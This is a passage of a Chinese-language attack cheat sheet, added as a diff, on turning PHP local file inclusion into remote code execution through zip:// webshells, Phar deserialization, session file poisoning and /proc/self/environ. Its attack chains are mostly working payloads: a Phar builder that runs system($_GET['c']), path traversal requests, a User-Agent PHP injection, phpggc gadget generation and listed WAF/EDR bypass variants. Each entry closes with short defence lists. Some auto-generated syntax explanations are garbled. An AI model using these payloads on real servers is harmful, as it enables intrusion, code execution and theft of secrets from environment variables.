+ **漏洞原理:** zip://协议利用步骤:1)将PHP webshell压缩为ZIP文件 2)可修改扩展名为.jpg/.png绕过上传限制 3)通过LFI使用zip://upload/shell.jpg#shell.php包含其中的PHP文件 4)PHP解析器会解压并执行其中的代码。
1030
+
1031
+ **利用方法:** 完整利用流程:
1032
+ 1. 创建恶意Zip文件
1033
+ 2. 上传Zip文件
1034
+ 3. 使用zip://包含
1035
+ 4. 执行代码
1036
+
1037
+ **防御措施:** 防御措施:
1038
+ 1. 禁用zip://协议
1039
+ 2. 严格验证上传文件
1040
+ 3. 白名单验证文件名
1041
+ 4. 限制包含目录
1042
+
1043
+ ---
1044
+
1045
+ ### Phar反序列化攻击 `lfi-phar`
1046
+ _利用Phar反序列化进行RCE_
1047
+ 子类:**Phar反序列化** · tags: `lfi` `phar` `deserialization` `rce`
1048
+
1049
+ **前置条件:**
1050
+ - 存在LFI漏洞
1051
+ - PHP环境
1052
+ - phar扩展可用
1053
+
1054
+ **攻击链:**
1055
+
1056
+ **1. 创建Phar文件**
1057
+ > 创建恶意Phar文件
1058
+ ```
1059
+ # 创建恶意Phar
1060
+ <?php
1061
+ class Exploit {
1062
+ function __destruct() {
1063
+ system($_GET['c']);
1064
+ }
1065
+ }
1066
+
1067
+ $phar = new Phar('exploit.phar');
1068
+ $phar->startBuffering();
1069
+ $phar->addFromString('test.txt', 'test');
1070
+ $phar->setStub('<?php __HALT_COMPILER(); ?>');
1071
+ $o = new Exploit();
1072
+ $phar->setMetadata($o);
1073
+ $phar->stopBuffering();
1074
+ ?>
1075
+ ```
1076
+ **语法解析:**
1077
+ - `Phar` — PHP归档类 _value_
1078
+ - `setMetadata` — 设置元数据(序列化对象) _value_
1079
+ - `__destruct` — 析构函数,反序列化时调用 _value_
1080
+
1081
+ **2. 触发反序列化**
1082
+ > 触发Phar反序列化
1083
+ ```
1084
+ # 通过file_exists触发
1085
+ ?file=phar://exploit.phar&c=id
1086
+
1087
+ # 通过file_get_contents触发
1088
+ ?file=phar://exploit.phar/test.txt&c=id
1089
+
1090
+ # 通过include触发
1091
+ ?file=phar://exploit.phar&c=id
1092
+ ```
1093
+ **语法解析:**
1094
+ - `phar://` — Phar协议 _value_
1095
+ - `exploit.phar` — Phar文件 _value_
1096
+
1097
+ **3. 图片马Phar**
1098
+ > 使用图片马Phar
1099
+ ```
1100
+ # 创建图片Phar
1101
+ copy exploit.phar exploit.gif
1102
+
1103
+ # 或添加GIF头
1104
+ cp exploit.phar exploit.gif
1105
+
1106
+ # 触发
1107
+ ?file=phar://uploads/exploit.gif&c=id
1108
+ ```
1109
+
1110
+ **4. 常见Gadget链**
1111
+ > 使用常见Gadget链
1112
+ ```
1113
+ # Laravel POP链
1114
+ # Symfony POP链
1115
+ # WordPress POP链
1116
+ # ThinkPHP POP链
1117
+
1118
+ # 使用phpggc生成
1119
+ git clone https://github.com/ambionics/phpggc
1120
+ php phpggc Laravel/RCE1 system id > exploit.phar
1121
+ ```
1122
+
1123
+ **WAF/EDR 绕过变体:**
1124
+
1125
+ **Base64编码**
1126
+ > Base64编码绕过
1127
+ ```
1128
+ # 将Phar内容Base64编码
1129
+ # 然后解码触发
1130
+ ```
1131
+ **语法解析:**
1132
+ - `#` — 命令/载荷起始 _command_
1133
+ - ` 将Phar内容Base64编码
1134
+ # 然后解码触发` — 参数与载荷内容 _value_
1135
+
1136
+ **伪协议组合**
1137
+ > 伪协议组合
1138
+ ```
1139
+ ?file=php://filter/convert.base64-encode/resource=phar://exploit.phar
1140
+ # 组合使用
1141
+ ```
1142
+ **语法解析:**
1143
+ - `?file=php://filter/convert.base64-encode/resource=phar://exploit.phar
1144
+ #` — 命令/载荷起始 _command_
1145
+ - ` 组合使用` — 参数与载荷内容 _value_
1146
+
1147
+
1148
+ **概述:** phar://伪协议可包含PHP Archive文件中的内容,类似zip://但功能更强。特别的是,phar反序列化漏洞可在不调用unserialize()的情况下触发PHP对象的反序列化操作。
1149
+
1150
+ **漏洞原理:** phar://不仅可以像zip://一样包含压缩包中的PHP文件,更关键的是phar文件的元数据(metadata)在被任何文件操作函数(file_exists/is_dir等)处理时会被自动反序列化,可触发POP链执行任意代码。
1151
+
1152
+ **利用方法:** 完整利用流程:
1153
+ 1. 找到可利用的类(Gadget)
1154
+ 2. 创建恶意Phar文件
1155
+ 3. 上传或构造Phar
1156
+ 4. 触发反序列化
1157
+
1158
+ **防御措施:** 防御措施:
1159
+ 1. 禁用phar扩展
1160
+ 2. 过滤phar://协议
1161
+ 3. 白名单验证文件
1162
+ 4. 升级PHP版本
1163
+
1164
+ ---
1165
+
1166
+ ### Session文件包含 `lfi-session`
1167
+ _利用Session文件进行LFI攻击_
1168
+ 子类:**Session包含** · tags: `lfi` `session` `file` `inclusion`
1169
+
1170
+ **前置条件:**
1171
+ - 存在LFI漏洞
1172
+ - 可控制Session内容
1173
+ - 知道Session路径
1174
+
1175
+ **攻击链:**
1176
+
1177
+ **1. 探测Session路径**
1178
+ > 探测Session存储路径
1179
+ ```
1180
+ # Linux默认路径
1181
+ /var/lib/php/sessions/sess_[PHPSESSID]
1182
+ /var/lib/php5/sess_[PHPSESSID]
1183
+ /var/lib/php7/sess_[PHPSESSID]
1184
+ /tmp/sess_[PHPSESSID]
1185
+ /c:/windows/temp/sess_[PHPSESSID]
1186
+ ```
1187
+ **语法解析:**
1188
+ - `sess_` — Session文件前缀 _value_
1189
+ - `PHPSESSID` — Session ID值 _value_
1190
+
1191
+ **2. 控制Session内容**
1192
+ > 控制Session内容
1193
+ ```
1194
+ # 通过用户输入控制Session
1195
+ # 例如用户名、个人简介等
1196
+ username: <?php system($_GET['c']); ?>
1197
+
1198
+ # 或通过Cookie
1199
+ Set-Cookie: PHPSESSID=malicious
1200
+ ```
1201
+ **语法解析:**
1202
+ - `system()` — 系统命令执行 _function_
1203
+
1204
+ **3. 包含Session文件**
1205
+ > 包含Session文件执行代码
1206
+ ```
1207
+ # 包含Session文件
1208
+ ?file=/var/lib/php/sessions/sess_abc123&c=id
1209
+
1210
+ # 或使用相对路径
1211
+ ?file=../../../var/lib/php/sessions/sess_abc123&c=id
1212
+ ```
1213
+ **语法解析:**
1214
+ - `../` — 路径穿越 _path_
1215
+
1216
+ **4. Session竞争条件**
1217
+ > 利用Session竞争条件
1218
+ ```
1219
+ # 利用Session竞争
1220
+ # 1. 持续写入恶意代码到Session
1221
+ # 2. 同时包含Session文件
1222
+ # 3. 在Session被清理前执行
1223
+ ```
1224
+
1225
+ **WAF/EDR 绕过变体:**
1226
+
1227
+ **Session ID预测**
1228
+ > 预测Session ID
1229
+ ```
1230
+ # 尝试预测Session ID
1231
+ # 常见模式: md5(ip.time.random)
1232
+ # 暴力枚举Session ID
1233
+ ```
1234
+ **语法解析:**
1235
+ - `#` — 命令/载荷起始 _command_
1236
+ - ` 尝试预测Session ID
1237
+ # 常见模式: md5(ip.time.random)
1238
+ # 暴力枚举Session ID` — 参数与载荷内容 _value_
1239
+
1240
+
1241
+ **概述:** Session文件包含是LFI升级为RCE的重要技术,通过将恶意PHP代码注入Session文件,再利用LFI包含Session文件实现代码执行。Session文件路径通常可预测(如/tmp/sess_PHPSESSID)。
1242
+
1243
+ **漏洞原理:** PHP Session默认存储在文件系统中(/tmp/sess_xxx或/var/lib/php/sessions/sess_xxx)。当应用将用户可控数据(如用户名)存入Session时,攻击者注入PHP代码到Session变量中,再通过LFI包含对应的Session文件触发执行。
1244
+
1245
+ **利用方法:** 完整利用流程:
1246
+ 1. 找到Session存储路径
1247
+ 2. 控制Session内容
1248
+ 3. 包含Session文件
1249
+ 4. 执行代码
1250
+
1251
+ **防御措施:** 防御措施:
1252
+ 1. 限制Session内容
1253
+ 2. 使用安全的Session存储
1254
+ 3. 白名单验证文件名
1255
+ 4. 禁用文件包含
1256
+
1257
+ ---
1258
+
1259
+ ### Proc文件系统利用 `lfi-proc`
1260
+ _利用/proc文件系统进行LFI攻击_
1261
+ 子类:**Proc文件系统** · tags: `lfi` `proc` `linux` `environ`
1262
+
1263
+ **前置条件:**
1264
+ - 存在LFI漏洞
1265
+ - Linux系统
1266
+ - /proc可访问
1267
+
1268
+ **攻击链:**
1269
+
1270
+ **1. 读取进程信息**
1271
+ > 读取当前进程信息
1272
+ _platform: linux_
1273
+ ```
1274
+ # 当前进程信息
1275
+ /proc/self/cmdline
1276
+ /proc/self/environ
1277
+ /proc/self/cwd
1278
+ /proc/self/exe
1279
+ /proc/self/fd/0
1280
+ /proc/self/fd/1
1281
+ /proc/self/fd/2
1282
+ ```
1283
+ **语法解析:**
1284
+ - `/proc/self/` — 当前进程目录 _path_
1285
+ - `cmdline` — 启动命令 _value_
1286
+ - `environ` — 环境变量 _value_
1287
+ - `cwd` — 当前工作目录 _value_
1288
+
1289
+ **2. 读取环境变量**
1290
+ > 读取环境变量执行代码
1291
+ _platform: linux_
1292
+ ```
1293
+ ?file=../../../proc/self/environ
1294
+
1295
+ # 在User-Agent中注入
1296
+ User-Agent: <?php system($_GET['c']); ?>
1297
+
1298
+ # 包含执行
1299
+ ?file=../../../proc/self/environ&c=id
1300
+ ```
1301
+ **语法解析:**
1302
+ - `system()` — 系统命令执行 _function_
1303
+ - `../` — 路径穿越 _path_
1304
+
1305
+ **3. 通过fd读取日志**
1306
+ > 通过fd读取日志
1307
+ _platform: linux_
1308
+ ```
1309
+ # fd文件描述符
1310
+ /proc/self/fd/10
1311
+ /proc/self/fd/20
1312
+
1313
+ # 尝试不同编号找到日志
1314
+ ?file=../../../proc/self/fd/10
1315
+ ```
1316
+ **语法解析:**
1317
+ - `../` — 路径穿越 _path_
1318
+
1319
+ **4. 读取其他进程**
1320
+ > 读取其他进程信息
1321
+ _platform: linux_
1322
+ ```
1323
+ # 枚举进程
1324
+ /proc/[pid]/cmdline
1325
+ /proc/[pid]/environ
1326
+ /proc/[pid]/maps
1327
+
1328
+ # 暴力枚举
1329
+ ?file=../../../proc/1/cmdline
1330
+ ?file=../../../proc/2/cmdline
1331
+ ```
1332
+ **语法解析:**
1333
+ - `../` — 路径穿越 _path_
1334
+
1335
+ **WAF/EDR 绕过变体:**
1336
+
1337
+ **使用self**
1338
+ > 使用self引用
1339
+ _platform: linux_
1340
+ ```
1341
+ ?file=/proc/self/environ
1342
+ ?file=proc/self/environ
1343
+ ```
1344
+ **语法解析:**
1345
+ - `?file=/proc/self/environ
1346
+ ?file=proc/self/environ` — 攻击载荷 _value_
1347
+
1348
+
1349
+ **概述:** /proc文件系统(Linux虚拟文件系统)包含大量系统运行时信息,通过LFI读取/proc目录可获取进程信息、环境变量、网络配置等,/proc/self/environ更可能用于代码执行。
1350
+
1351
+ **漏洞原理:** /proc文件系统中的关键文件:/proc/self/environ包含当前进程的环境变量(可能包含密钥)、/proc/self/cmdline包含启动命令、/proc/self/fd/N可读取打开的文件描述符、/proc/net/tcp泄露网络连接信息和内网IP。
1352
+
1353
+ **利用方法:** 完整利用流程:
1354
+ 1. 探测/proc可访问性
1355
+ 2. 读取environ文件
1356
+ 3. 注入代码到User-Agent
1357
+ 4. 包含执行
1358
+
1359
+ **防御措施:** 防御措施:
1360
+ 1. 限制/proc访问
1361
+ 2. 白名单验证文件名
1362
+ 3. 过滤特殊字符
1363
+ 4. 使用chroot隔离
1364
+
1365
+ ---